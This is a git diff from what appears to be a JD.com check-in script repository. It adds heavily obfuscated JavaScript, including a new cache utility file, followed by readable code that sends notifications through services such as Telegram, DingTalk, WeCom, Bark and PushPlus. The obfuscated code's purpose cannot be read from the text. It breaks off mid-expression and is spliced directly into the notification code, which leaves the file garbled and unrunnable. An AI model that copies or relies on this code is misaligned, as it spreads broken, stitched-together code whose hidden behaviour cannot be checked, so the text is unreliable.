0x2:_0x26106a=_0x512fb3['slice'](0x0,0x1)+'*';break;case 0x3:_0x26106a=_0x512fb3[_0x1f5570(0x20e,'20UJ')](0x0,0x1)+'*'+_0x512fb3[_0x1f5570(0x1c4,'ASM0')](-0x1);break;case 0x4:_0x26106a=_0x512fb3[_0x1f5570(0x1d8,'!u@k')](0x0,0x2)+'**';break;}else _0x26106a=_0x512fb3['slice'](0x0,0x2)+'*'[_0x1f5570(0x20a,'R[]7')](_0x512fb3[_0x1f5570(0x1c0,'nS*b')]-0x4)+_0x512fb3['slice'](-0x2);return _0x26106a;}['_formatAcountsMessage'](){const _0x2cd83d=_0xd9dfef;let _0x49a7c5=[];for(let {userName:_0x1b7cad,index:_0x282e65,messages:_0x401d57}of this['_accountsArray']){_0x401d57=_0x401d57[_0x2cd83d(0x20c,'NXTI')](_0x11ba94=>_0x11ba94!==null&&_0x11ba94!==undefined&&_0x11ba94!=='');const _0x28f557=_0x49a7c5[_0x2cd83d(0x1a3,'nS*b')](_0x2a7086=>_0x2a7086[_0x2cd83d(0x1ae,'pWW#')]===_0x1b7cad);_0x28f557?(_0x28f557[_0x2cd83d(0x24f,'Z8D6')]===''&&(_0x28f557[_0x2cd83d(0x263,'#cB0')]=_0x282e65),_0x401d57['length']>0x0&&_0x28f557[_0x2cd83d(0x224,'fzp6')]['push'](..._0x401d57)):_0x49a7c5[_0x2cd83d(0x1f5,'zcL6')]({'userName':_0x1b7cad,'index':_0x282e65,'messages':_0x401d57});}_0x49a7c5=_0x49a7c5[_0x2cd83d(0x1ce,'y)5n')](_0x24dcb1=>_0x24dcb1[_0x2cd83d(0x260,'wf$i')][_0x2cd83d(0x223,'JB(N')]>0x0),this[_0x2cd83d(0x23f,'$B#k')]&&_0x49a7c5[_0x2cd83d(0x218,'OQ4#')](_0x12179d=>{const _0x52068a=_0x2cd83d;_0x12179d['messages']=this[_0x52068a(0x250,'R[]7')](_0x12179d[_0x52068a(0x1f0,'pWW#')],this['_autoMergeType']);}),this['_accountsArray']=_0x49a7c5;}}module['exports']=new Notification(); \ No newline at end of file diff --git a/jd/utils/cache/index.js b/jd/utils/cache/index.js new file mode 100644 index 00000000..28179704 --- /dev/null +++ b/jd/utils/cache/index.js @@ -0,0 +1 @@ +var iil='jsjiami.com.v7';const lilIl=iii1II;function Iii11l(){const lIII1I=(function(){return[iil,'MljppsPjCpigGBaNmli.rkcgoFfmD.veW7TXeNCS==','AqaKW6FdU2SS','imkcWOjcWQK','W5iXsWVcNG','AX0GW5ZdOhi6','WRPiaupcGa','FSkwWO0RWOxcHNJdGW','WPhdKCk5lCk3bLaZ','sCkVW7St','W73dJCkqWQe','W7fDW4tdOG','WQJcLCowW7GEq1pdLHxcVCoCt8oc','sYhdLIWC','WQRcMSotW7GEqfhdOr/cMSoRDCoY','WRWbW5xdLqq','WRBdOYu'].concat((function(){return['W5NcMNhcKxi','W7jZW7/dPcK','smk2W78BWRy2W7O','W4G3W5O','WQXLW5q','W7HhEGlcKW','WPj3dxFdRrZdOmowW4JcRNxcG8k0','WR9DWQ93W6BdSv/cGulcSmoiwhu','WOitW5W','W6mTW4ZcOCoxWRNdTSkKiqFdU0LdWR5y','WONcK8o0W5xcSq','c1OqW4ddSG','mxrn','WR9FWQX0W6JdTf7dMwlcO8odu0Hl','W6VdHaldTCkBWQnV','WQZdGXpdJCkMWQXOWRy','WPxcJtNcS8olpsy'].concat((function(){return['WRtcO8oXW4BdISosCMJdLdnhW4jGra','WOOEWRVcKKJdGsXmzSogWO7cJue','WO47CKH3W6hcK8kHWQtdOJasWPu','W6VdNCovxW','W7ZdJCo/WO3cPZ8eW4/dMmkbW7L9Dxu','zw1Ieq','W7GNiHtcNq','W6OiW7q','W7zgkCkR','W5tdJCk+','B8opbSk9WPC','WOSQW6ZcH8o9WRZdQW','WQZcSby','W6fgk8kV'];}()));}()));}());Iii11l=function(){return lIII1I;};return Iii11l();};(function(I11iIi,I1ilII,I11iIl,l1l11l,IilIil,l1iIi,l1l11i){return I11iIi=I11iIi>>0x3,l1iIi='hs',l1l11i='hs',function(l1iIl,illIll,iIli1I,Iiil1,iiilli){const l1l11I=iii1II;Iiil1='tfi',l1iIi=Iiil1+l1iIi,iiilli='up',l1l11i+=iiilli,l1iIi=iIli1I(l1iIi),l1l11i=iIli1I(l1l11i),iIli1I=0x0;const l1iIIl=l1iIl();while(!![]&&--l1l11l+illIll){try{Iiil1=-parseInt(l1l11I(0x1ee,'JRrZ'))/0x1+parseInt(l1l11I(0x1cb,'E[W8'))/0x2*(-parseInt(l1l11I(0x1d5,'Z&57'))/0x3)+parseInt(l1l11I(0x1cc,')KVi'))/0x4+-parseInt(l1l11I(0x1e4,'K09N'))/0x5+-parseInt(l1l11I(0x1dd,'sQdC'))/0x6*(parseInt(l1l11I(0x1ed,'w[v4'))/0x7)+-parseInt(l1l11I(0x1c6,'JRrZ'))/0x8+parseInt(l1l11I(0x1ca,'AQ[i'))/0x9;}catch(iiilll){Iiil1=iIli1I;}finally{iiilli=l1iIIl[l1iIi]();if(I11iIi<=l1l11l)iIli1I?IilIil?Iiil1=iiilli:IilIil=iiilli:iIli1I=iiilli;else{if(iIli1I==IilIil['replace'](/[SNfDBkrPlCpTFMgWXGe=]/g,'')){if(Iiil1===illIll){l1iIIl['un'+l1iIi](iiilli);break;}l1iIIl[l1l11i](iiilli);}}}}}(I11iIl,I1ilII,function(lI11Il,lIII1i,l11i11,IilIl1,lIII1l,l1iIIi,lilIi){return lIII1i='\x73\x70\x6c\x69\x74',lI11Il=arguments[0x0],lI11Il=lI11Il[lIII1i](''),l11i11='\x72\x65\x76\x65\x72\x73\x65',lI11Il=lI11Il[l11i11]('\x76'),IilIl1='\x6a\x6f\x69\x6e',(0x14f603,lI11Il[IilIl1](''));});}(0x608,0xd2d46,Iii11l,0xc3),Iii11l)&&(iil=0xe53);function iii1II(_0x31723c,_0x1fe040){const _0x1b4a75=Iii11l();return iii1II=function(_0x5cc673,_0x8c6403){_0x5cc673=_0x5cc673-0x1c1;let _0x353a72=_0x1b4a75[_0x5cc673];if(iii1II['KuSatS']===undefined){var _0x25618e=function(_0x39c9b5){const _0x224ed5='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x10e0fb='',_0x35d0f4='';for(let _0x32df5b=0x0,_0x238a88,_0x226299,_0x48fa2c=0x0;_0x226299=_0x39c9b5['charAt'](_0x48fa2c++);~_0x226299&&(_0x238a88=_0x32df5b%0x4?_0x238a88*0x40+_0x226299:_0x226299,_0x32df5b++%0x4)?_0x10e0fb+=String['fromCharCode'](0xff&_0x238a88>>(-0x2*_0x32df5b&0x6)):0x0){_0x226299=_0x224ed5['indexOf'](_0x226299);}for(let _0x1dde7f=0x0,_0x404ac2=_0x10e0fb['length'];_0x1dde7f<_0x404ac2;_0x1dde7f++){_0x35d0f4+='%'+('00'+_0x10e0fb['charCodeAt'](_0x1dde7f)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x35d0f4);};const _0x173db0=function(_0x3b485e,_0x45e1a8){let _0xc32c14=[],_0xa1b6c=0x0,_0x4c0dac,_0x2291a5='';_0x3b485e=_0x25618e(_0x3b485e);let _0x16e61c;for(_0x16e61c=0x0;_0x16e61c<0x100;_0x16e61c++){_0xc32c14[_0x16e61c]=_0x16e61c;}for(_0x16e61c=0x0;_0x16e61c<0x100;_0x16e61c++){_0xa1b6c=(_0xa1b6c+_0xc32c14[_0x16e61c]+_0x45e1a8['charCodeAt'](_0x16e61c%_0x45e1a8['length']))%0x100,_0x4c0dac=_0xc32c14[_0x16e61c],_0xc32c14[_0x16e61c]=_0xc32c14[_0xa1b6c],_0xc32c14[_0xa1b6c]=_0x4c0dac;}_0x16e61c=0x0,_0xa1b6c=0x0;for(let _0x491a80=0x0;_0x491a80<_0x3b485e['length'];_0x491a80++){_0x16e61c=(_0x16e61c+0x1)%0x100,_0xa1b6c=(_0xa1b6c+_0xc32c14[_0x16e61c])%0x100,_0x4c0dac=_0xc32c14[_0x16e61c],_0xc32c14[_0x16e61c]=_0xc32c14[_0xa1b6c],_0xc32c14[_0xa1b6c]=_0x4c0dac,_0x2291a5+=String['fromCharCode'](_0x3b485e['charCodeAt'](_0x491a80)^_0xc32c14[(_0xc32c14[_0x16e61c]+_0xc32c14[_0xa1b6c])%0x100]);}return _0x2291a5;};iii1II['dVHcVv']=_0x173db0,_0x31723c=arguments,iii1II['KuSatS']=!![];}const _0xfb9260=_0x1b4a75[0x0],_0x164481=_0x5cc673+_0xfb9260,_0x14cc03=_0x31723c[_0x164481];return!_0x14cc03?(iii1II['PchEyD']===undefined&&(iii1II['PchEyD']=!![]),_0x353a72=iii1II['dVHcVv'](_0x353a72,_0x8c6403),_0x31723c[_0x164481]=_0x353a72):_0x353a72=_0x14cc03,_0x353a72;},iii1II(_0x31723c,_0x1fe040);}let II1lii=require('ds');try{II1lii[lilIl(0x1c8,'8K5l')]()===lilIl(0x1c2,'Z&57')&&(II1lii=II1lii['DS']);}catch{}function lIIii1(ll1i1=0x0,IIli1i=null){const IilIlI=lilIl,I1iIi1={'BSgWI':function(lili1,ll1l1){return lili1!==ll1l1;},'WNNXY':IilIlI(0x1e5,'Y2KZ'),'UHfJc':function(IllIIi){return IllIIi();},'rwaVp':function(IllIIl,IiiIi1){return IllIIl==IiiIi1;},'LNsgs':function(l1ii1,ii1ll){return l1ii1 { + const { url, ...others } = params; + httpClient.post(url, others).then( + async (res) => { + let body = await res.body.text(); + try { + body = JSON.parse(body); + } catch (error) {} + callback(null, res, body); + }, + (err) => { + callback(err?.response?.body || err); + }, + ); + }, + get: (params, callback) => { + const { url, ...others } = params; + httpClient.get(url, others).then( + async (res) => { + let body = await res.body.text(); + try { + body = JSON.parse(body); + } catch (error) {} + callback(null, res, body); + }, + (err) => { + callback(err?.response?.body || err); + }, + ); + }, + logErr: console.log, +}; + +async function one() { + const url = 'https://v1.hitokoto.cn/'; + const res = await httpClient.request(url); + const body = await res.body.json(); + return `${body.hitokoto} ----${body.from}`; +} + +function gotifyNotify(text, desp) { + return new Promise((resolve) => { + const { GOTIFY_URL, GOTIFY_TOKEN, GOTIFY_PRIORITY } = push_config; + if (GOTIFY_URL && GOTIFY_TOKEN) { + const options = { + url: `${GOTIFY_URL}/message?token=${GOTIFY_TOKEN}`, + body: `title=${encodeURIComponent(text)}&message=${encodeURIComponent( + desp, + )}&priority=${GOTIFY_PRIORITY}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + }, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('Gotify 发送通知调用API失败😞\n', err); + } else { + if (data.id) { + console.log('Gotify 发送通知消息成功🎉\n'); + } else { + console.log(`Gotify 发送通知调用API失败😞 ${data.message}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + } else { + resolve(); + } + }); +} + +function gobotNotify(text, desp) { + return new Promise((resolve) => { + const { GOBOT_URL, GOBOT_TOKEN, GOBOT_QQ } = push_config; + if (GOBOT_URL) { + const options = { + url: `${GOBOT_URL}?access_token=${GOBOT_TOKEN}&${GOBOT_QQ}`, + json: { message: `${text}\n${desp}` }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('Go-cqhttp 通知调用API失败😞\n', err); + } else { + if (data.retcode === 0) { + console.log('Go-cqhttp 发送通知消息成功🎉\n'); + } else if (data.retcode === 100) { + console.log(`Go-cqhttp 发送通知消息异常 ${data.errmsg}\n`); + } else { + console.log(`Go-cqhttp 发送通知消息异常 ${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function serverNotify(text, desp) { + return new Promise((resolve) => { + const { PUSH_KEY } = push_config; + if (PUSH_KEY) { + // 微信server酱推送通知一个\n不会换行,需要两个\n才能换行,故做此替换 + desp = desp.replace(/[\n\r]/g, '\n\n'); + + const matchResult = PUSH_KEY.match(/^sctp(\d+)t/i); + const options = { + url: + matchResult && matchResult[1] + ? `https://${matchResult[1]}.push.ft07.com/send/${PUSH_KEY}.send` + : `https://sctapi.ftqq.com/${PUSH_KEY}.send`, + body: `text=${encodeURIComponent(text)}&desp=${encodeURIComponent( + desp, + )}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('Server 酱发送通知调用API失败😞\n', err); + } else { + // server酱和Server酱·Turbo版的返回json格式不太一样 + if (data.errno === 0 || data.data.errno === 0) { + console.log('Server 酱发送通知消息成功🎉\n'); + } else if (data.errno === 1024) { + // 一分钟内发送相同的内容会触发 + console.log(`Server 酱发送通知消息异常 ${data.errmsg}\n`); + } else { + console.log(`Server 酱发送通知消息异常 ${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function pushDeerNotify(text, desp) { + return new Promise((resolve) => { + const { DEER_KEY, DEER_URL } = push_config; + if (DEER_KEY) { + // PushDeer 建议对消息内容进行 urlencode + desp = encodeURI(desp); + const options = { + url: DEER_URL || `https://api2.pushdeer.com/message/push`, + body: `pushkey=${DEER_KEY}&text=${text}&desp=${desp}&type=markdown`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('PushDeer 通知调用API失败😞\n', err); + } else { + // 通过返回的result的长度来判断是否成功 + if ( + data.content.result.length !== undefined && + data.content.result.length > 0 + ) { + console.log('PushDeer 发送通知消息成功🎉\n'); + } else { + console.log( + `PushDeer 发送通知消息异常😞 ${JSON.stringify(data)}`, + ); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function chatNotify(text, desp) { + return new Promise((resolve) => { + const { CHAT_URL, CHAT_TOKEN } = push_config; + if (CHAT_URL && CHAT_TOKEN) { + // 对消息内容进行 urlencode + desp = encodeURI(desp); + const options = { + url: `${CHAT_URL}${CHAT_TOKEN}`, + body: `payload={"text":"${text}\n${desp}"}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + }, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('Chat 发送通知调用API失败😞\n', err); + } else { + if (data.success) { + console.log('Chat 发送通知消息成功🎉\n'); + } else { + console.log(`Chat 发送通知消息异常 ${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e); + } finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function barkNotify(text, desp, params = {}) { + return new Promise((resolve) => { + let { + BARK_PUSH, + BARK_ICON, + BARK_SOUND, + BARK_GROUP, + BARK_LEVEL, + BARK_ARCHIVE, + BARK_URL, + } = push_config; + if (BARK_PUSH) { + // 兼容BARK本地用户只填写设备码的情况 + if (!BARK_PUSH.startsWith('http')) { + BARK_PUSH = `https://api.day.app/${BARK_PUSH}`; + } + const options = { + url: `${BARK_PUSH}`, + json: { + title: text, + body: desp, + icon: BARK_ICON, + sound: BARK_SOUND, + group: BARK_GROUP, + isArchive: BARK_ARCHIVE, + level: BARK_LEVEL, + url: BARK_URL, + ...params, + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('Bark APP 发送通知调用API失败😞\n', err); + } else { + if (data.code === 200) { + console.log('Bark APP 发送通知消息成功🎉\n'); + } else { + console.log(`Bark APP 发送通知消息异常 ${data.message}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + } else { + resolve(); + } + }); +} + +function tgBotNotify(text, desp) { + return new Promise((resolve) => { + const { + TG_BOT_TOKEN, + TG_USER_ID, + TG_PROXY_HOST, + TG_PROXY_PORT, + TG_API_HOST, + TG_PROXY_AUTH, + } = push_config; + if (TG_BOT_TOKEN && TG_USER_ID) { + let options = { + url: `${TG_API_HOST}/bot${TG_BOT_TOKEN}/sendMessage`, + json: { + chat_id: `${TG_USER_ID}`, + text: `${text}\n\n${desp}`, + disable_web_page_preview: true, + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + if (TG_PROXY_HOST && TG_PROXY_PORT) { + let proxyHost = TG_PROXY_HOST; + if (TG_PROXY_AUTH && !TG_PROXY_HOST.includes('@')) { + proxyHost = `${TG_PROXY_AUTH}@${TG_PROXY_HOST}`; + } + let agent; + agent = new ProxyAgent({ + uri: `http://${proxyHost}:${TG_PROXY_PORT}`, + }); + options.dispatcher = agent; + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('Telegram 发送通知消息失败😞\n', err); + } else { + if (data.ok) { + console.log('Telegram 发送通知消息成功🎉。\n'); + } else if (data.error_code === 400) { + console.log( + '请主动给bot发送一条消息并检查接收用户ID是否正确。\n', + ); + } else if (data.error_code === 401) { + console.log('Telegram bot token 填写错误。\n'); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} +function ddBotNotify(text, desp) { + return new Promise((resolve) => { + const { DD_BOT_TOKEN, DD_BOT_SECRET } = push_config; + const options = { + url: `https://oapi.dingtalk.com/robot/send?access_token=${DD_BOT_TOKEN}`, + json: { + msgtype: 'text', + text: { + content: `${text}\n\n${desp}`, + }, + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + if (DD_BOT_TOKEN && DD_BOT_SECRET) { + const crypto = require('crypto'); + const dateNow = Date.now(); + const hmac = crypto.createHmac('sha256', DD_BOT_SECRET); + hmac.update(`${dateNow}\n${DD_BOT_SECRET}`); + const result = encodeURIComponent(hmac.digest('base64')); + options.url = `${options.url}×tamp=${dateNow}&sign=${result}`; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('钉钉发送通知消息失败😞\n', err); + } else { + if (data.errcode === 0) { + console.log('钉钉发送通知消息成功🎉\n'); + } else { + console.log(`钉钉发送通知消息异常 ${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + } else if (DD_BOT_TOKEN) { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('钉钉发送通知消息失败😞\n', err); + } else { + if (data.errcode === 0) { + console.log('钉钉发送通知消息成功🎉\n'); + } else { + console.log(`钉钉发送通知消息异常 ${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function qywxBotNotify(text, desp) { + return new Promise((resolve) => { + const { QYWX_ORIGIN, QYWX_KEY } = push_config; + const options = { + url: `${QYWX_ORIGIN}/cgi-bin/webhook/send?key=${QYWX_KEY}`, + json: { + msgtype: 'text', + text: { + content: `${text}\n\n${desp}`, + }, + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + if (QYWX_KEY) { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('企业微信发送通知消息失败😞\n', err); + } else { + if (data.errcode === 0) { + console.log('企业微信发送通知消息成功🎉。\n'); + } else { + console.log(`企业微信发送通知消息异常 ${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function ChangeUserId(desp) { + const { QYWX_AM } = push_config; + const QYWX_AM_AY = QYWX_AM.split(','); + if (QYWX_AM_AY[2]) { + const userIdTmp = QYWX_AM_AY[2].split('|'); + let userId = ''; + for (let i = 0; i < userIdTmp.length; i++) { + const count = '账号' + (i + 1); + const count2 = '签到号 ' + (i + 1); + if (desp.match(count2)) { + userId = userIdTmp[i]; + } + } + if (!userId) userId = QYWX_AM_AY[2]; + return userId; + } else { + return '@all'; + } +} + +async function qywxamNotify(text, desp) { + const MAX_LENGTH = 900; + if (desp.length > MAX_LENGTH) { + let d = desp.substr(0, MAX_LENGTH) + '\n==More=='; + await do_qywxamNotify(text, d); + await qywxamNotify(text, desp.substr(MAX_LENGTH)); + } else { + return await do_qywxamNotify(text, desp); + } +} + +function do_qywxamNotify(text, desp) { + return new Promise((resolve) => { + const { QYWX_AM, QYWX_ORIGIN } = push_config; + if (QYWX_AM) { + const QYWX_AM_AY = QYWX_AM.split(','); + const options_accesstoken = { + url: `${QYWX_ORIGIN}/cgi-bin/gettoken`, + json: { + corpid: `${QYWX_AM_AY[0]}`, + corpsecret: `${QYWX_AM_AY[1]}`, + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + $.post(options_accesstoken, (err, resp, json) => { + let html = desp.replace(/\n/g, '
'); + let accesstoken = json.access_token; + let options; + + switch (QYWX_AM_AY[4]) { + case '0': + options = { + msgtype: 'textcard', + textcard: { + title: `${text}`, + description: `${desp}`, + url: 'https://github.com/whyour/qinglong', + btntxt: '更多', + }, + }; + break; + + case '1': + options = { + msgtype: 'text', + text: { + content: `${text}\n\n${desp}`, + }, + }; + break; + + default: + options = { + msgtype: 'mpnews', + mpnews: { + articles: [ + { + title: `${text}`, + thumb_media_id: `${QYWX_AM_AY[4]}`, + author: `智能助手`, + content_source_url: ``, + content: `${html}`, + digest: `${desp}`, + }, + ], + }, + }; + } + if (!QYWX_AM_AY[4]) { + // 如不提供第四个参数,则默认进行文本消息类型推送 + options = { + msgtype: 'text', + text: { + content: `${text}\n\n${desp}`, + }, + }; + } + options = { + url: `${QYWX_ORIGIN}/cgi-bin/message/send?access_token=${accesstoken}`, + json: { + touser: `${ChangeUserId(desp)}`, + agentid: `${QYWX_AM_AY[3]}`, + safe: '0', + ...options, + }, + headers: { + 'Content-Type': 'application/json', + }, + }; + + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log( + '成员ID:' + + ChangeUserId(desp) + + '企业微信应用消息发送通知消息失败😞\n', + err, + ); + } else { + if (data.errcode === 0) { + console.log( + '成员ID:' + + ChangeUserId(desp) + + '企业微信应用消息发送通知消息成功🎉。\n', + ); + } else { + console.log( + `企业微信应用消息发送通知消息异常 ${data.errmsg}\n`, + ); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); + } else { + resolve(); + } + }); +} + +function iGotNotify(text, desp, params = {}) { + return new Promise((resolve) => { + const { IGOT_PUSH_KEY } = push_config; + if (IGOT_PUSH_KEY) { + // 校验传入的IGOT_PUSH_KEY是否有效 + const IGOT_PUSH_KEY_REGX = new RegExp('^[a-zA-Z0-9]{24}$'); + if (!IGOT_PUSH_KEY_REGX.test(IGOT_PUSH_KEY)) { + console.log('您所提供的 IGOT_PUSH_KEY 无效\n'); + resolve(); + return; + } + const options = { + url: `https://push.hellyw.com/${IGOT_PUSH_KEY.toLowerCase()}`, + body: `title=${text}&content=${desp}&${querystring.stringify(params)}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('IGot 发送通知调用API失败😞\n', err); + } else { + if (data.ret === 0) { + console.log('IGot 发送通知消息成功🎉\n'); + } else { + console.log(`IGot 发送通知消息异常 ${data.errMsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function pushPlusNotify(text, desp) { + return new Promise((resolve) => { + const { + PUSH_PLUS_TOKEN, + PUSH_PLUS_USER, + PUSH_PLUS_TEMPLATE, + PUSH_PLUS_CHANNEL, + PUSH_PLUS_WEBHOOK, + PUSH_PLUS_CALLBACKURL, + PUSH_PLUS_TO, + } = push_config; + if (PUSH_PLUS_TOKEN) { + desp = desp.replace(/[\n\r]/g, '
'); // 默认为html, 不支持plaintext + const body = { + token: `${PUSH_PLUS_TOKEN}`, + title: `${text}`, + content: `${desp}`, + topic: `${PUSH_PLUS_USER}`, + template: `${PUSH_PLUS_TEMPLATE}`, + channel: `${PUSH_PLUS_CHANNEL}`, + webhook: `${PUSH_PLUS_WEBHOOK}`, + callbackUrl: `${PUSH_PLUS_CALLBACKURL}`, + to: `${PUSH_PLUS_TO}`, + }; + const options = { + url: `https://www.pushplus.plus/send`, + body: JSON.stringify(body), + headers: { + 'Content-Type': ' application/json', + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log( + `pushplus 发送${ + PUSH_PLUS_USER ? '一对多' : '一对一' + }通知消息失败😞\n`, + err, + ); + } else { + if (data.code === 200) { + console.log( + `pushplus 发送${ + PUSH_PLUS_USER ? '一对多' : '一对一' + }通知请求成功🎉,可根据流水号查询推送结果:${ + data.data + }\n注意:请求成功并不代表推送成功,如未收到消息,请到pushplus官网使用流水号查询推送最终结果`, + ); + } else { + console.log( + `pushplus 发送${ + PUSH_PLUS_USER ? '一对多' : '一对一' + }通知消息异常 ${data.msg}\n`, + ); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function wePlusBotNotify(text, desp) { + return new Promise((resolve) => { + const { WE_PLUS_BOT_TOKEN, WE_PLUS_BOT_RECEIVER, WE_PLUS_BOT_VERSION } = + push_config; + if (WE_PLUS_BOT_TOKEN) { + let template = 'txt'; + if (desp.length > 800) { + desp = desp.replace(/[\n\r]/g, '
'); + template = 'html'; + } + const body = { + token: `${WE_PLUS_BOT_TOKEN}`, + title: `${text}`, + content: `${desp}`, + template: `${template}`, + receiver: `${WE_PLUS_BOT_RECEIVER}`, + version: `${WE_PLUS_BOT_VERSION}`, + }; + const options = { + url: `https://www.weplusbot.com/send`, + body: JSON.stringify(body), + headers: { + 'Content-Type': ' application/json', + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`微加机器人发送通知消息失败😞\n`, err); + } else { + if (data.code === 200) { + console.log(`微加机器人发送通知消息完成🎉\n`); + } else { + console.log(`微加机器人发送通知消息异常 ${data.msg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function aibotkNotify(text, desp) { + return new Promise((resolve) => { + const { AIBOTK_KEY, AIBOTK_TYPE, AIBOTK_NAME } = push_config; + if (AIBOTK_KEY && AIBOTK_TYPE && AIBOTK_NAME) { + let json = {}; + let url = ''; + switch (AIBOTK_TYPE) { + case 'room': + url = 'https://api-bot.aibotk.com/openapi/v1/chat/room'; + json = { + apiKey: `${AIBOTK_KEY}`, + roomName: `${AIBOTK_NAME}`, + message: { + type: 1, + content: `【青龙快讯】\n\n${text}\n${desp}`, + }, + }; + break; + case 'contact': + url = 'https://api-bot.aibotk.com/openapi/v1/chat/contact'; + json = { + apiKey: `${AIBOTK_KEY}`, + name: `${AIBOTK_NAME}`, + message: { + type: 1, + content: `【青龙快讯】\n\n${text}\n${desp}`, + }, + }; + break; + } + const options = { + url: url, + json, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('智能微秘书发送通知消息失败😞\n', err); + } else { + if (data.code === 0) { + console.log('智能微秘书发送通知消息成功🎉。\n'); + } else { + console.log(`智能微秘书发送通知消息异常 ${data.error}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function fsBotNotify(text, desp) { + return new Promise((resolve) => { + const { FSKEY, FSSECRET } = push_config; + if (FSKEY) { + const body = { + msg_type: 'text', + content: { text: `${text}\n\n${desp}` }, + }; + + // Add signature if secret is provided + // Note: Feishu's signature algorithm uses timestamp+"\n"+secret as the HMAC key + // and signs an empty message, which differs from typical HMAC usage + if (FSSECRET) { + const crypto = require('crypto'); + const timestamp = Math.floor(Date.now() / 1000).toString(); + const stringToSign = `${timestamp}\n${FSSECRET}`; + const hmac = crypto.createHmac('sha256', stringToSign); + const sign = hmac.digest('base64'); + body.timestamp = timestamp; + body.sign = sign; + } + + const options = { + url: `https://open.feishu.cn/open-apis/bot/v2/hook/${FSKEY}`, + json: body, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('飞书发送通知调用API失败😞\n', err); + } else { + if (data.StatusCode === 0 || data.code === 0) { + console.log('飞书发送通知消息成功🎉\n'); + } else { + console.log(`飞书发送通知消息异常 ${data.msg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +async function smtpNotify(text, desp) { + const { SMTP_EMAIL, SMTP_TO, SMTP_PASSWORD, SMTP_SERVICE, SMTP_NAME } = + push_config; + if (![SMTP_EMAIL, SMTP_PASSWORD].every(Boolean) || !SMTP_SERVICE) { + return; + } + + try { + const nodemailer = require('nodemailer'); + const transporter = nodemailer.createTransport({ + service: SMTP_SERVICE, + auth: { + user: SMTP_EMAIL, + pass: SMTP_PASSWORD, + }, + }); + + const addr = SMTP_NAME ? `"${SMTP_NAME}" <${SMTP_EMAIL}>` : SMTP_EMAIL; + const info = await transporter.sendMail({ + from: addr, + to: SMTP_TO ? SMTP_TO.split(';') : addr, + subject: text, + html: `${desp.replace(/\n/g, '
